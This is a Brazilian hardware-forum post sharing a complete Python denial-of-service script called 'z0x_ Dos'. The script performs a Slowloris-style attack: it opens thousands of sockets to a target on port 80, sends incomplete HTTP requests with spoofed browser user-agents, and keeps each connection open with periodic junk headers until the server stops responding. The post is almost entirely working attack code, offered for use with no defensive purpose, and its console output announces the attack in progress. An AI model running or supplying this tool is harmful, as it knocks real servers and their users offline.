Ir ao conteúdo
  • Cadastre-se
Error 404 Not Foud

Python Script flod de pacotes em porta PY

Posts recomendados

import socket, random, time, sys, os

#use: python z0x.py IP ou SITE !

os.system('color c');
os.system('cls');

headers = [
    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
    "User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "User-agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "User-agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "User-agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "User-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "User-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "User-agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "User-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "User-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Accept-language: en-US,en"
]

sockets = []

def setupSocket(ip):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
    sock.settimeout(4);
    sock.connect((ip, 80));
    sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 9999999999)).encode("utf-8"))

    for header in headers:
        sock.send("{}\r\n".format(header).encode("utf-8"));

    return sock

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("");
        print("z0x_> Parametros incorretos use: python zox.py ALVO ou IP".format(sys.argv[0]));
        sys.exit();

    ip = sys.argv[1]
    count = 10000
    print('''
          .!.               .!::.              .!.          
         :#####!:        ::      .::       .!#####:         
       :##: .   ...: .#.           .:.! :...   . .!#:       
      !#: .        :##:  :. .   :     !::        . :#!      
    .#! .         ###.:#::.!    :  ..# :!!         . !#.    
   .#: .        .:.. #. ::. :..: :..  :!:#.         . :#.   
   !...         !.: .. ######!!####.   .#: .         ...#   
   #.          :.:  . !    ..##..    : #.!!.!          .#.  
   :         ..       #!#!: .::. :!#####. .###:         !   
              ... :.!##::#!::#!::!#:.#####!::!#             
          ...!:. !:#!###:.!::.:::!..####: :#!!#...          
      !.....  ::!::. !###.  :!####::  ::   .....#      
                   ..#:##############:  .                   
                     .!#############!:.

                        z0x_ Dos 1.2b
    ''')
    print("");

    print("z0x_> Iniciando ataque a {}. Enviando {} pacotes.".format(ip, count));
    print("z0x_> CTRL+C para parar o ataque!");
    print("");
    time.sleep(3);

    for _ in range(count):
        try:
            print("z0x_> Atacando! Pacote: #{}".format(_));
            sock = setupSocket(ip);
        except socket.error:
            break

        sockets.append(sock);

    while True:
        print("");
        print("z0x_> Ataque finalizado!".format(len(sockets)));
        print("z0x_> CTRL+C para sair !");
      

        for sock in list(sockets):
            try:
                sock.send("X-a: {}\r\n".format(random.randint(1, 46000)).encode("utf-8"));
            except socket.error:
                sockets.remove(sock);

        for _ in range(count - len(sockets)):
            print("");
            print("z0x_> O servidor nao esta respondendo");
            try:
                sock = setupSocket(ip);
                if sock:
                    sockets.append(sock);
            except socket.error:
                break

        time.sleep(120)

 

  • Curtir 1

Compartilhar este post


Link para o post
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário

Criar uma conta

Crie uma nova conta em nossa comunidade. É fácil!

Crie uma nova conta

Entrar

Já tem uma conta? Faça o login.

Entrar agora





Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas comunidades sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×
×
  • Criar novo...

minicurso46aulas-popup.jpg

CLIQUE AQUI E ACESSE AGORA MESMO!